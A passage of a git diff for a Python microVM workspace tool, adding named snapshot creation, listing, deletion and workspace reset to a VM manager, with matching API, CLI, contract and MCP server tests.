operation_name="workspace_snapshot_create", + ) + with tempfile.TemporaryDirectory(prefix="pyro-workspace-snapshot-") as temp_dir: + temp_archive_path = Path(temp_dir) / f"{normalized_snapshot_name}.tar" + exported = self._backend.export_archive( + instance, + workspace_path=WORKSPACE_GUEST_PATH, + archive_path=temp_archive_path, + ) + snapshot = WorkspaceSnapshotRecord( + workspace_id=workspace_id, + snapshot_name=normalized_snapshot_name, + kind="named", + created_at=time.time(), + entry_count=int(exported["entry_count"]), + bytes_written=int(exported["bytes_written"]), + ) + with self._lock: + workspace = self._load_workspace_locked(workspace_id) + self._ensure_workspace_not_expired_locked(workspace, time.time()) + if ( + self._load_workspace_snapshot_locked_optional( + workspace_id, + normalized_snapshot_name, + ) + is not None + ): + raise ValueError( + f"snapshot {normalized_snapshot_name!r} already exists in workspace " + f"{workspace_id!r}" + ) + archive_path = self._workspace_snapshot_archive_path( + workspace_id, + normalized_snapshot_name, + ) + archive_path.parent.mkdir(parents=True, exist_ok=True) + shutil.copy2(temp_archive_path, archive_path) + workspace.state = instance.state + workspace.firecracker_pid = instance.firecracker_pid + workspace.last_error = instance.last_error + workspace.metadata = dict(instance.metadata) + self._save_workspace_locked(workspace) + self._save_workspace_snapshot_locked(snapshot) + return { + "workspace_id": workspace_id, + "snapshot": self._serialize_workspace_snapshot(snapshot), + "execution_mode": instance.metadata.get("execution_mode", "pending"), + } + + def list_snapshots(self, workspace_id: str) -> dict[str, Any]: + with self._lock: + workspace = self._load_workspace_locked(workspace_id) + self._ensure_workspace_not_expired_locked(workspace, time.time()) + snapshots = self._list_workspace_snapshots_locked(workspace) + return { + "workspace_id": workspace_id, + "count": len(snapshots), + "snapshots": [ + self._serialize_workspace_snapshot(snapshot) for snapshot in snapshots + ], + } + + def delete_snapshot(self, workspace_id: str, snapshot_name: str) -> dict[str, Any]: + normalized_snapshot_name = _normalize_workspace_snapshot_name( + snapshot_name, + allow_baseline=True, + ) + if normalized_snapshot_name == "baseline": + raise ValueError("cannot delete the baseline snapshot") + with self._lock: + workspace = self._load_workspace_locked(workspace_id) + self._ensure_workspace_not_expired_locked(workspace, time.time()) + self._workspace_baseline_snapshot_locked(workspace) + self._load_workspace_snapshot_locked(workspace_id, normalized_snapshot_name) + self._delete_workspace_snapshot_locked(workspace_id, normalized_snapshot_name) + return { + "workspace_id": workspace_id, + "snapshot_name": normalized_snapshot_name, + "deleted": True, + } + + def reset_workspace( + self, + workspace_id: str, + *, + snapshot: str = "baseline", + ) -> dict[str, Any]: + with self._lock: + workspace = self._load_workspace_locked(workspace_id) + self._ensure_workspace_not_expired_locked(workspace, time.time()) + self._refresh_workspace_liveness_locked(workspace) + selected_snapshot, archive_path = self._resolve_workspace_snapshot_locked( + workspace, + snapshot, + ) + instance = workspace.to_instance( + workdir=self._workspace_runtime_dir(workspace.workspace_id) + ) + self._stop_workspace_services_locked(workspace, instance) + self._close_workspace_shells_locked(workspace, instance) + if workspace.state == "started": + self._backend.stop(instance) + workspace.state = "stopped" + self._backend.delete(instance) + workspace.state = "stopped" + workspace.firecracker_pid = None + workspace.last_error = None + self._reset_workspace_runtime_dirs(workspace_id) + self._save_workspace_locked(workspace) + recreated: VmInstance | None = None + try: + recreated = workspace.to_instance( + workdir=self._workspace_runtime_dir(workspace.workspace_id) + ) + self._backend.create(recreated) + if self._runtime_capabilities.supports_guest_exec: + self._ensure_workspace_guest_agent_support(recreated) + with self._lock: + self._start_instance_locked(recreated) + self._require_guest_exec_or_opt_in(recreated) + reset_summary = self._backend.import_archive( + recreated, + archive_path=archive_path, + destination=WORKSPACE_GUEST_PATH, + ) + workspace = self._load_workspace_locked(workspace_id) + workspace.state = recreated.state + workspace.firecracker_pid = recreated.firecracker_pid + workspace.last_error = recreated.last_error + workspace.metadata = dict(recreated.metadata) + workspace.command_count = 0 + workspace.last_command = None + workspace.reset_count += 1 + workspace.last_reset_at = time.time() + self._save_workspace_locked(workspace) + payload = self._serialize_workspace(workspace) + except Exception: + try: + if recreated is not None and recreated.state == "started": + self._backend.stop(recreated) + except Exception: + pass + try: + if recreated is not None: + self._backend.delete(recreated) + except Exception: + pass + with self._lock: + workspace = self._load_workspace_locked(workspace_id) + workspace.state = "stopped" + workspace.firecracker_pid = None + workspace.last_error = None + self._save_workspace_locked(workspace) + raise + payload["workspace_reset"] = { + "snapshot_name": selected_snapshot.snapshot_name, + "kind": selected_snapshot.kind, + "destination": str(reset_summary["destination"]), + "entry_count": int(reset_summary["entry_count"]), + "bytes_written": int(reset_summary["bytes_written"]), + } + return payload + def exec_workspace( self, workspace_id: str, @@ -3372,6 +3627,8 @@ class VmManager: "workspace_seed": _workspace_seed_dict(workspace.workspace_seed), "command_count": workspace.command_count, "last_command": workspace.last_command, + "reset_count": workspace.reset_count, + "last_reset_at": workspace.last_reset_at, "service_count": service_count, "running_service_count": running_service_count, "metadata": workspace.metadata, @@ -3408,6 +3665,17 @@ class VmManager: "stop_reason": service.stop_reason, } + def _serialize_workspace_snapshot(self, snapshot: WorkspaceSnapshotRecord) -> dict[str, Any]: + return { + "workspace_id": snapshot.workspace_id, + "snapshot_name": snapshot.snapshot_name, + "kind": snapshot.kind, + "created_at": snapshot.created_at, + "entry_count": snapshot.entry_count, + "bytes_written": snapshot.bytes_written, + "deletable": snapshot.kind != "baseline", + } + def _require_guest_boot_or_opt_in(self, instance: VmInstance) -> None: if self._runtime_capabilities.supports_vm_boot or instance.allow_host_compat: return @@ -3589,6 +3857,15 @@ class VmManager: def _workspace_baseline_archive_path(self, workspace_id: str) -> Path: return self._workspace_baseline_dir(workspace_id) / WORKSPACE_BASELINE_ARCHIVE_NAME + def _workspace_snapshots_dir(self, workspace_id: str) -> Path: + return self._workspace_dir(workspace_id) / WORKSPACE_SNAPSHOTS_DIRNAME + + def _workspace_snapshot_archive_path(self, workspace_id: str, snapshot_name: str) -> Path: + return self._workspace_snapshots_dir(workspace_id) / f"{snapshot_name}.tar" + + def _workspace_snapshot_metadata_path(self, workspace_id: str, snapshot_name: str) -> Path: + return self._workspace_snapshots_dir(workspace_id) / f"{snapshot_name}.json" + def _workspace_commands_dir(self, workspace_id: str) -> Path: return self._workspace_dir(workspace_id) / WORKSPACE_COMMANDS_DIRNAME @@ -3846,6 +4123,41 @@ class VmManager: services = self._list_workspace_services_locked(workspace_id) return len(services), sum(1 for service in services if service.state == "running") + def _workspace_baseline_snapshot_locked( + self, + workspace: WorkspaceRecord, + ) -> WorkspaceSnapshotRecord: + baseline_archive_path = self._workspace_baseline_archive_path(workspace.workspace_id) + if not baseline_archive_path.exists(): + raise RuntimeError( + "workspace snapshots and reset require a baseline snapshot. " + "Recreate the workspace to use snapshot/reset features." + ) + entry_count, bytes_written = _inspect_seed_archive(baseline_archive_path) + return WorkspaceSnapshotRecord( + workspace_id=workspace.workspace_id, + snapshot_name="baseline", + kind="baseline", + created_at=workspace.created_at, + entry_count=entry_count, + bytes_written=bytes_written, + ) + + def _resolve_workspace_snapshot_locked( + self, + workspace: WorkspaceRecord, + snapshot_name: str, + ) -> tuple[WorkspaceSnapshotRecord, Path]: + normalized_name = _normalize_workspace_snapshot_name(snapshot_name, allow_baseline=True) + if normalized_name == "baseline": + baseline = self._workspace_baseline_snapshot_locked(workspace) + return baseline, self._workspace_baseline_archive_path(workspace.workspace_id) + snapshot = self._load_workspace_snapshot_locked(workspace.workspace_id, normalized_name) + return ( + snapshot, + self._workspace_snapshot_archive_path(workspace.workspace_id, normalized_name), + ) + def _load_workspace_service_locked( self, workspace_id: str, @@ -3861,6 +4173,34 @@ class VmManager: raise RuntimeError(f"service record at {record_path} is invalid") return WorkspaceServiceRecord.from_payload(payload) + def _load_workspace_snapshot_locked( + self, + workspace_id: str, + snapshot_name: str, + ) -> WorkspaceSnapshotRecord: + record_path = self._workspace_snapshot_metadata_path(workspace_id, snapshot_name) + if not record_path.exists(): + raise ValueError( + f"snapshot {snapshot_name!r} does not exist in workspace {workspace_id!r}" + ) + payload = json.loads(record_path.read_text(encoding="utf-8")) + if not isinstance(payload, dict): + raise RuntimeError(f"snapshot record at {record_path} is invalid") + return WorkspaceSnapshotRecord.from_payload(payload) + + def _load_workspace_snapshot_locked_optional( + self, + workspace_id: str, + snapshot_name: str, + ) -> WorkspaceSnapshotRecord | None: + record_path = self._workspace_snapshot_metadata_path(workspace_id, snapshot_name) + if not record_path.exists(): + return None + payload = json.loads(record_path.read_text(encoding="utf-8")) + if not isinstance(payload, dict): + raise RuntimeError(f"snapshot record at {record_path} is invalid") + return WorkspaceSnapshotRecord.from_payload(payload) + def _load_workspace_service_locked_optional( self, workspace_id: str, @@ -3885,6 +4225,17 @@ class VmManager: encoding="utf-8", ) + def _save_workspace_snapshot_locked(self, snapshot: WorkspaceSnapshotRecord) -> None: + record_path = self._workspace_snapshot_metadata_path( + snapshot.workspace_id, + snapshot.snapshot_name, + ) + record_path.parent.mkdir(parents=True, exist_ok=True) + record_path.write_text( + json.dumps(snapshot.to_payload(), indent=2, sort_keys=True), + encoding="utf-8", + ) + def _delete_workspace_service_artifacts_locked( self, workspace_id: str, @@ -3897,6 +4248,10 @@ class VmManager: _workspace_service_status_path(services_dir, service_name).unlink(missing_ok=True) _workspace_service_runner_path(services_dir, service_name).unlink(missing_ok=True) + def _delete_workspace_snapshot_locked(self, workspace_id: str, snapshot_name: str) -> None: + self._workspace_snapshot_metadata_path(workspace_id, snapshot_name).unlink(missing_ok=True) + self._workspace_snapshot_archive_path(workspace_id, snapshot_name).unlink(missing_ok=True) + def _list_workspace_services_locked(self, workspace_id: str) -> list[WorkspaceServiceRecord]: services_dir = self._workspace_services_dir(workspace_id) if not services_dir.exists(): @@ -3909,6 +4264,26 @@ class VmManager: services.append(WorkspaceServiceRecord.from_payload(payload)) return services + def _list_workspace_snapshots_locked( + self, + workspace: WorkspaceRecord, + ) -> list[WorkspaceSnapshotRecord]: + snapshots_dir = self._workspace_snapshots_dir(workspace.workspace_id) + snapshots: list[WorkspaceSnapshotRecord] = [ + self._workspace_baseline_snapshot_locked(workspace) + ] + if not snapshots_dir.exists(): + return snapshots + named_snapshots: list[WorkspaceSnapshotRecord] = [] + for record_path in snapshots_dir.glob("*.json"): + payload = json.loads(record_path.read_text(encoding="utf-8")) + if not isinstance(payload, dict): + continue + named_snapshots.append(WorkspaceSnapshotRecord.from_payload(payload)) + named_snapshots.sort(key=lambda item: (-item.created_at, item.snapshot_name)) + snapshots.extend(named_snapshots) + return snapshots + def _save_workspace_shell_locked(self, shell: WorkspaceShellRecord) -> None: record_path = self._workspace_shell_record_path(shell.workspace_id, shell.shell_id) record_path.parent.mkdir(parents=True, exist_ok=True) @@ -3950,6 +4325,17 @@ class VmManager: pass self._delete_workspace_shell_locked(workspace.workspace_id, shell.shell_id) + def _reset_workspace_runtime_dirs(self, workspace_id: str) -> None: + shutil.rmtree(self._workspace_runtime_dir(workspace_id), ignore_errors=True) + shutil.rmtree(self._workspace_host_dir(workspace_id), ignore_errors=True) + shutil.rmtree(self._workspace_commands_dir(workspace_id), ignore_errors=True) + shutil.rmtree(self._workspace_shells_dir(workspace_id), ignore_errors=True) + shutil.rmtree(self._workspace_services_dir(workspace_id), ignore_errors=True) + self._workspace_host_dir(workspace_id).mkdir(parents=True, exist_ok=True) + self._workspace_commands_dir(workspace_id).mkdir(parents=True, exist_ok=True) + self._workspace_shells_dir(workspace_id).mkdir(parents=True, exist_ok=True) + self._workspace_services_dir(workspace_id).mkdir(parents=True, exist_ok=True) + def _refresh_workspace_service_locked( self, workspace: WorkspaceRecord, diff --git a/tests/test_api.py b/tests/test_api.py index 65762ec..db3dbc5 100644 --- a/tests/test_api.py +++ b/tests/test_api.py @@ -52,6 +52,10 @@ def test_pyro_create_server_registers_vm_run(tmp_path: Path) -> None: assert "workspace_diff" in tool_names assert "workspace_sync_push" in tool_names assert "workspace_export" in tool_names + assert "snapshot_create" in tool_names + assert "snapshot_list" in tool_names + assert "snapshot_delete" in tool_names + assert "workspace_reset" in tool_names assert "shell_open" in tool_names assert "shell_read" in tool_names assert "shell_write" in tool_names @@ -143,6 +147,8 @@ def test_pyro_workspace_methods_delegate_to_manager(tmp_path: Path) -> None: synced = pyro.push_workspace_sync(workspace_id, updated_dir, dest="subdir") executed = pyro.exec_workspace(workspace_id, command="cat note.txt") diff_payload = pyro.diff_workspace(workspace_id) + snapshot = pyro.create_snapshot(workspace_id, "checkpoint") + snapshots = pyro.list_snapshots(workspace_id) export_path = tmp_path / "exported-note.txt" exported = pyro.export_workspace(workspace_id, "note.txt", output_path=export_path) service = pyro.start_service( @@ -155,6 +161,8 @@ def test_pyro_workspace_methods_delegate_to_manager(tmp_path: Path) -> None: service_status = pyro.status_service(workspace_id, "app") service_logs = pyro.logs_service(workspace_id, "app", all=True) service_stopped = pyro.stop_service(workspace_id, "app") + reset = pyro.reset_workspace(workspace_id, snapshot="checkpoint") + deleted_snapshot = pyro.delete_snapshot(workspace_id, "checkpoint") status = pyro.status_workspace(workspace_id) logs = pyro.logs_workspace(workspace_id) deleted = pyro.delete_workspace(workspace_id) @@ -163,6 +171,8 @@ def test_pyro_workspace_methods_delegate_to_manager(tmp_path: Path) -> None: assert created["workspace_seed"]["mode"] == "directory" assert synced["workspace_sync"]["destination"] == "/workspace/subdir" assert diff_payload["changed"] is True + assert snapshot["snapshot"]["snapshot_name"] == "checkpoint" + assert snapshots["count"] == 2 assert exported["output_path"] == str(export_path) assert export_path.read_text(encoding="utf-8") == "ok\n" assert service["state"] == "running" @@ -170,7 +180,9 @@ def test_pyro_workspace_methods_delegate_to_manager(tmp_path: Path) -> None: assert service_status["state"] == "running" assert service_logs["tail_lines"] is None assert service_stopped["state"] == "stopped" - assert status["command_count"] == 1 - assert status["service_count"] == 1 - assert logs["count"] == 1 + assert reset["workspace_reset"]["snapshot_name"] == "checkpoint" + assert deleted_snapshot["deleted"] is True + assert status["command_count"] == 0 + assert status["service_count"] == 0 + assert logs["count"] == 0 assert deleted["deleted"] is True diff --git a/tests/test_cli.py b/tests/test_cli.py index 2fb8f35..f487007 100644 --- a/tests/test_cli.py +++ b/tests/test_cli.py @@ -66,6 +66,8 @@ def test_cli_subcommand_help_includes_examples_and_guidance() -> None: assert "pyro workspace exec WORKSPACE_ID" in workspace_help assert "pyro workspace diff WORKSPACE_ID" in workspace_help assert "pyro workspace export WORKSPACE_ID src/note.txt --output ./note.txt" in workspace_help + assert "pyro workspace snapshot create WORKSPACE_ID checkpoint" in workspace_help + assert "pyro workspace reset WORKSPACE_ID --snapshot checkpoint" in workspace_help assert "pyro workspace shell open WORKSPACE_ID" in workspace_help workspace_create_help = _subparser_choice( @@ -107,6 +109,34 @@ def test_cli_subcommand_help_includes_examples_and_guidance() -> None: assert "immutable workspace baseline" in workspace_diff_help assert "workspace export" in workspace_diff_help + workspace_snapshot_help = _subparser_choice( + _subparser_choice(parser, "workspace"), + "snapshot", + ).format_help() + assert "pyro workspace snapshot create WORKSPACE_ID checkpoint" in workspace_snapshot_help + assert "baseline" in workspace_snapshot_help + + workspace_snapshot_create_help = _subparser_choice( + _subparser_choice(_subparser_choice(parser, "workspace"), "snapshot"), "create" + ).format_help() + assert "Capture the current `/workspace` tree" in workspace_snapshot_create_help + + workspace_snapshot_list_help = _subparser_choice( + _subparser_choice(_subparser_choice(parser, "workspace"), "snapshot"), "list" + ).format_help() + assert "baseline snapshot plus any named snapshots" in workspace_snapshot_list_help + + workspace_snapshot_delete_help = _subparser_choice( + _subparser_choice(_subparser_choice(parser, "workspace"), "snapshot"), "delete" + ).format_help() + assert "leaving the implicit baseline intact" in workspace_snapshot_delete_help + + workspace_reset_help = _subparser_choice( + _subparser_choice(parser, "workspace"), "reset" + ).format_help() + assert "--snapshot" in workspace_reset_help + assert "reset over repair" in workspace_reset_help + workspace_shell_help = _subparser_choice( _subparser_choice(parser, "workspace"), "shell", @@ -651,6 +681,359 @@ def test_cli_workspace_diff_prints_human_output( assert "--- a/note.txt" in output +def test_cli_workspace_snapshot_create_list_delete_and_reset_prints_json( + monkeypatch: pytest.MonkeyPatch, + capsys: pytest.CaptureFixture[str], +) -> None: + class StubPyro: + def create_snapshot(self, workspace_id: str, snapshot_name: str) -> dict[str, Any]: + assert workspace_id == "workspace-123" + assert snapshot_name == "checkpoint" + return { + "workspace_id": workspace_id, + "snapshot": { + "snapshot_name": snapshot_name, + "kind": "named", + "entry_count": 3, + "bytes_written": 42, + }, + } + + def list_snapshots(self, workspace_id: str) -> dict[str, Any]: + assert workspace_id == "workspace-123" + return { + "workspace_id": workspace_id, + "count": 2, + "snapshots": [ + { + "snapshot_name": "baseline", + "kind": "baseline", + "entry_count": 1, + "bytes_written": 10, + "deletable": False, + }, + { + "snapshot_name": "checkpoint", + "kind": "named", + "entry_count": 3, + "bytes_written": 42, + "deletable": True, + }, + ], + } + + def reset_workspace(self, workspace_id: str, *, snapshot: str) -> dict[str, Any]: + assert workspace_id == "workspace-123" + assert snapshot == "checkpoint" + return { + "workspace_id": workspace_id, + "state": "started", + "workspace_path": "/workspace", + "reset_count": 2, + "workspace_reset": { + "snapshot_name": snapshot, + "kind": "named", + "destination": "/workspace", + "entry_count": 3, + "bytes_written": 42, + }, + } + + def delete_snapshot(self, workspace_id: str, snapshot_name: str) -> dict[str, Any]: + assert workspace_id == "workspace-123" + assert snapshot_name == "checkpoint" + return { + "workspace_id": workspace_id, + "snapshot_name": snapshot_name, + "deleted": True, + } + + class SnapshotCreateParser: + def parse_args(self) -> argparse.Namespace: + return argparse.Namespace( + command="workspace", + workspace_command="snapshot", + workspace_snapshot_command="create", + workspace_id="workspace-123", + snapshot_name="checkpoint", + json=True, + ) + + monkeypatch.setattr(cli, "_build_parser", lambda: SnapshotCreateParser()) + monkeypatch.setattr(cli, "Pyro", StubPyro) + cli.main() + created = json.loads(capsys.readouterr().out) + assert created["snapshot"]["snapshot_name"] == "checkpoint" + + class SnapshotListParser: + def parse_args(self) -> argparse.Namespace: + return argparse.Namespace( + command="workspace", + workspace_command="snapshot", + workspace_snapshot_command="list", + workspace_id="workspace-123", + json=True, + ) + + monkeypatch.setattr(cli, "_build_parser", lambda: SnapshotListParser()) + cli.main() + listed = json.loads(capsys.readouterr().out) + assert listed["count"] == 2 + + class ResetParser: + def parse_args(self) -> argparse.Namespace: + return argparse.Namespace( + command="workspace", + workspace_command="reset", + workspace_id="workspace-123", + snapshot="checkpoint", + json=True, + ) + + monkeypatch.setattr(cli, "_build_parser", lambda: ResetParser()) + cli.main() + reset = json.loads(capsys.readouterr().out) + assert reset["workspace_reset"]["snapshot_name"] == "checkpoint" + + class SnapshotDeleteParser: + def parse_args(self) -> argparse.Namespace: + return argparse.Namespace( + command="workspace", + workspace_command="snapshot", + workspace_snapshot_command="delete", + workspace_id="workspace-123", + snapshot_name="checkpoint", + json=True, + ) + + monkeypatch.setattr(cli, "_build_parser", lambda: SnapshotDeleteParser()) + cli.main() + deleted = json.loads(capsys.readouterr().out) + assert deleted["deleted"] is True + + +def test_cli_workspace_reset_prints_human_output( + monkeypatch: pytest.MonkeyPatch, + capsys: pytest.CaptureFixture[str], +) -> None: + class StubPyro: + def reset_workspace(self, workspace_id: str, *, snapshot: str) -> dict[str, Any]: + assert workspace_id == "workspace-123" + assert snapshot == "baseline" + return { + "workspace_id": workspace_id, + "state": "started", + "environment": "debian:12", + "workspace_path": "/workspace", + "workspace_seed": { + "mode": "directory", + "seed_path": "/tmp/repo", + "destination": "/workspace", + "entry_count": 1, + "bytes_written": 4, + }, + "execution_mode": "guest_vsock", + "command_count": 0, + "service_count": 0, + "running_service_count": 0, + "reset_count": 3, + "last_reset_at": 123.0, + "workspace_reset": { + "snapshot_name": "baseline", + "kind": "baseline", + "destination": "/workspace", + "entry_count": 1, + "bytes_written": 4, + }, + } + + class StubParser: + def parse_args(self) -> argparse.Namespace: + return argparse.Namespace( + command="workspace", + workspace_command="reset", + workspace_id="workspace-123", + snapshot="baseline", + json=False, + ) + + monkeypatch.setattr(cli, "_build_parser", lambda: StubParser()) + monkeypatch.setattr(cli, "Pyro", StubPyro) + cli.main() + output = capsys.readouterr().out + assert "Reset source: baseline (baseline)" in output + assert "Reset count: 3" in output + + +def test_cli_workspace_snapshot_prints_human_output( + monkeypatch: pytest.MonkeyPatch, + capsys: pytest.CaptureFixture[str], +) -> None: + class StubPyro: + def create_snapshot(self, workspace_id: str, snapshot_name: str) -> dict[str, Any]: + assert workspace_id == "workspace-123" + assert snapshot_name == "checkpoint" + return { + "workspace_id": workspace_id, + "snapshot": { + "snapshot_name": snapshot_name, + "kind": "named", + "entry_count": 3, + "bytes_written": 42, + }, + } + + def list_snapshots(self, workspace_id: str) -> dict[str, Any]: + assert workspace_id == "workspace-123" + return { + "workspace_id": workspace_id, + "count": 2, + "snapshots": [ + { + "snapshot_name": "baseline", + "kind": "baseline", + "entry_count": 1, + "bytes_written": 10, + "deletable": False, + }, + { + "snapshot_name": "checkpoint", + "kind": "named", + "entry_count": 3, + "bytes_written": 42, + "deletable": True, + }, + ], + } + + def delete_snapshot(self, workspace_id: str, snapshot_name: str) -> dict[str, Any]: + assert workspace_id == "workspace-123" + assert snapshot_name == "checkpoint" + return { + "workspace_id": workspace_id, + "snapshot_name": snapshot_name, + "deleted": True, + } + + class SnapshotCreateParser: + def parse_args(self) -> argparse.Namespace: + return argparse.Namespace( + command="workspace", + workspace_command="snapshot", + workspace_snapshot_command="create", + workspace_id="workspace-123", + snapshot_name="checkpoint", + json=False, + ) + + monkeypatch.setattr(cli, "_build_parser", lambda: SnapshotCreateParser()) + monkeypatch.setattr(cli, "Pyro", StubPyro) + cli.main() + create_output = capsys.readouterr().out + assert "[workspace-snapshot-create] workspace_id=workspace-123" in create_output + assert "snapshot_name=checkpoint kind=named" in create_output + + class SnapshotListParser: + def parse_args(self) -> argparse.Namespace: + return argparse.Namespace( + command="workspace", + workspace_command="snapshot", + workspace_snapshot_command="list", + workspace_id="workspace-123", + json=False, + ) + + monkeypatch.setattr(cli, "_build_parser", lambda: SnapshotListParser()) + cli.main() + list_output = capsys.readouterr().out + assert "baseline [baseline]" in list_output + assert "checkpoint [named]" in list_output + + class SnapshotDeleteParser: + def parse_args(self) -> argparse.Namespace: + return argparse.Namespace( + command="workspace", + workspace_command="snapshot", + workspace_snapshot_command="delete", + workspace_id="workspace-123", + snapshot_name="checkpoint", + json=False, + ) + + monkeypatch.setattr(cli, "_build_parser", lambda: SnapshotDeleteParser()) + cli.main() + delete_output = capsys.readouterr().out + assert "Deleted workspace snapshot: checkpoint" in delete_output + + +def test_cli_workspace_snapshot_error_paths( + monkeypatch: pytest.MonkeyPatch, + capsys: pytest.CaptureFixture[str], +) -> None: + class StubPyro: + def create_snapshot(self, workspace_id: str, snapshot_name: str) -> dict[str, Any]: + del workspace_id, snapshot_name + raise RuntimeError("create boom") + + def list_snapshots(self, workspace_id: str) -> dict[str, Any]: + del workspace_id + raise RuntimeError("list boom") + + def delete_snapshot(self, workspace_id: str, snapshot_name: str) -> dict[str, Any]: + del workspace_id, snapshot_name + raise RuntimeError("delete boom") + + def _run(args: argparse.Namespace) -> tuple[str, str]: + class StubParser: + def parse_args(self) -> argparse.Namespace: + return args + + monkeypatch.setattr(cli, "_build_parser", lambda: StubParser()) + monkeypatch.setattr(cli, "Pyro", StubPyro) + with pytest.raises(SystemExit, match="1"): + cli.main() + captured = capsys.readouterr() + return captured.out, captured.err + + out, err = _run( + argparse.Namespace( + command="workspace", + workspace_command="snapshot", + workspace_snapshot_command="create", + workspace_id="workspace-123", + snapshot_name="checkpoint", + json=True, + ) + ) + assert json.loads(out)["error"] == "create boom" + assert err == "" + + out, err = _run( + argparse.Namespace( + command="workspace", + workspace_command="snapshot", + workspace_snapshot_command="list", + workspace_id="workspace-123", + json=False, + ) + ) + assert out == "" + assert "[error] list boom" in err + + out, err = _run( + argparse.Namespace( + command="workspace", + workspace_command="snapshot", + workspace_snapshot_command="delete", + workspace_id="workspace-123", + snapshot_name="checkpoint", + json=False, + ) + ) + assert out == "" + assert "[error] delete boom" in err + + def test_cli_workspace_sync_push_prints_json( monkeypatch: pytest.MonkeyPatch, capsys: pytest.CaptureFixture[str] ) -> None: diff --git a/tests/test_public_contract.py b/tests/test_public_contract.py index 39534f2..0dce0ed 100644 --- a/tests/test_public_contract.py +++ b/tests/test_public_contract.py @@ -20,6 +20,7 @@ from pyro_mcp.contract import ( PUBLIC_CLI_WORKSPACE_CREATE_FLAGS, PUBLIC_CLI_WORKSPACE_DIFF_FLAGS, PUBLIC_CLI_WORKSPACE_EXPORT_FLAGS, + PUBLIC_CLI_WORKSPACE_RESET_FLAGS, PUBLIC_CLI_WORKSPACE_SERVICE_LIST_FLAGS, PUBLIC_CLI_WORKSPACE_SERVICE_LOGS_FLAGS, PUBLIC_CLI_WORKSPACE_SERVICE_START_FLAGS, @@ -32,6 +33,10 @@ from pyro_mcp.contract import ( PUBLIC_CLI_WORKSPACE_SHELL_SIGNAL_FLAGS, PUBLIC_CLI_WORKSPACE_SHELL_SUBCOMMANDS, PUBLIC_CLI_WORKSPACE_SHELL_WRITE_FLAGS, + PUBLIC_CLI_WORKSPACE_SNAPSHOT_CREATE_FLAGS, + PUBLIC_CLI_WORKSPACE_SNAPSHOT_DELETE_FLAGS, + PUBLIC_CLI_WORKSPACE_SNAPSHOT_LIST_FLAGS, + PUBLIC_CLI_WORKSPACE_SNAPSHOT_SUBCOMMANDS, PUBLIC_CLI_WORKSPACE_SUBCOMMANDS, PUBLIC_CLI_WORKSPACE_SYNC_PUSH_FLAGS, PUBLIC_CLI_WORKSPACE_SYNC_SUBCOMMANDS, @@ -110,6 +115,35 @@ def test_public_cli_help_lists_commands_and_run_flags() -> None: ).format_help() for flag in PUBLIC_CLI_WORKSPACE_DIFF_FLAGS: assert flag in workspace_diff_help_text + workspace_snapshot_help_text = _subparser_choice( + _subparser_choice(parser, "workspace"), + "snapshot", + ).format_help() + for subcommand_name in PUBLIC_CLI_WORKSPACE_SNAPSHOT_SUBCOMMANDS: + assert subcommand_name in workspace_snapshot_help_text + workspace_snapshot_create_help_text = _subparser_choice( + _subparser_choice(_subparser_choice(parser, "workspace"), "snapshot"), + "create", + ).format_help() + for flag in PUBLIC_CLI_WORKSPACE_SNAPSHOT_CREATE_FLAGS: + assert flag in workspace_snapshot_create_help_text + workspace_snapshot_list_help_text = _subparser_choice( + _subparser_choice(_subparser_choice(parser, "workspace"), "snapshot"), + "list", + ).format_help() + for flag in PUBLIC_CLI_WORKSPACE_SNAPSHOT_LIST_FLAGS: + assert flag in workspace_snapshot_list_help_text + workspace_snapshot_delete_help_text = _subparser_choice( + _subparser_choice(_subparser_choice(parser, "workspace"), "snapshot"), + "delete", + ).format_help() + for flag in PUBLIC_CLI_WORKSPACE_SNAPSHOT_DELETE_FLAGS: + assert flag in workspace_snapshot_delete_help_text + workspace_reset_help_text = _subparser_choice( + _subparser_choice(parser, "workspace"), "reset" + ).format_help() + for flag in PUBLIC_CLI_WORKSPACE_RESET_FLAGS: + assert flag in workspace_reset_help_text workspace_shell_help_text = _subparser_choice( _subparser_choice(parser, "workspace"), "shell", diff --git a/tests/test_server.py b/tests/test_server.py index 87c3669..7c1cca7 100644 --- a/tests/test_server.py +++ b/tests/test_server.py @@ -46,6 +46,10 @@ def test_create_server_registers_vm_tools(tmp_path: Path) -> None: assert "service_status" in tool_names assert "service_logs" in tool_names assert "service_stop" in tool_names + assert "snapshot_create" in tool_names + assert "snapshot_delete" in tool_names + assert "snapshot_list" in tool_names + assert "workspace_reset" in tool_names def test_vm_run_round_trip(tmp_path: Path) -> None: @@ -234,6 +238,15 @@ def test_workspace_tools_round_trip(tmp_path: Path) -> None: diffed = _extract_structured( await server.call_tool("workspace_diff", {"workspace_id": workspace_id}) ) + snapshot = _extract_structured( + await server.call_tool( + "snapshot_create", + {"workspace_id": workspace_id, "snapshot_name": "checkpoint"}, + ) + ) + snapshots = _extract_structured( + await server.call_tool("snapshot_list", {"workspace_id": workspace_id}) + ) export_path = tmp_path / "exported-more.txt" exported = _extract_structured( await server.call_tool( @@ -287,6 +300,18 @@ def test_workspace_tools_round_trip(tmp_path: Path) -> None: }, ) ) + reset = _extract_structured( + await server.call_tool( + "workspace_reset", + {"workspace_id": workspace_id, "snapshot": "checkpoint"}, + ) + ) + deleted_snapshot = _extract_structured( + await server.call_tool( + "snapshot_delete", + {"workspace_id": workspace_id, "snapshot_name": "checkpoint"}, + ) + ) logs = _extract_structured( await server.call_tool("workspace_logs", {"workspace_id": workspace_id}) ) @@ -298,12 +323,16 @@ def test_workspace_tools_round_trip(tmp_path: Path) -> None: synced, executed, diffed, + snapshot, + snapshots, exported, service, services, service_status, service_logs, service_stopped, + reset, + deleted_snapshot, logs, deleted, ) @@ -313,12 +342,16 @@ def test_workspace_tools_round_trip(tmp_path: Path) -> None: synced, executed, diffed, + snapshot, + snapshots, exported, service, services, service_status, service_logs, service_stopped, + reset, + deleted_snapshot, logs, deleted, ) = asyncio.run(_run()) @@ -327,6 +360,11 @@ def test_workspace_tools_round_trip(tmp_path: Path) -> None: assert synced["workspace_sync"]["destination"] == "/workspace/subdir" assert executed["stdout"] == "more\n" assert diffed["changed"] is True + assert snapshot["snapshot"]["snapshot_name"] == "checkpoint" + assert [entry["snapshot_name"] for entry in snapshots["snapshots"]] == [ + "baseline", + "checkpoint", + ] assert exported["artifact_type"] == "file" assert Path(str(exported["output_path"])).read_text(encoding="utf-8") == "more\n" assert service["state"] == "running" @@ -334,5 +372,9 @@ def test_workspace_tools_round_trip(tmp_path: Path) -> None: assert service_status["state"] == "running" assert service_logs["tail_lines"] is None assert service_stopped["state"] == "stopped" - assert logs["count"] == 1 + assert reset["workspace_reset"]["snapshot_name"] == 